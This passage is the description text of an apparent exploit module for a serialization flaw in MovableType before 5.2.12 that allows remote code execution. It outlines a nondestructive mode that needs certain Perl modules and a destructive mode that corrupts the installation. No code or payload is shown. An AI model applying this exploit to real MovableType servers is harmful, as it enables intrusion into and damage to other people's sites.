          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
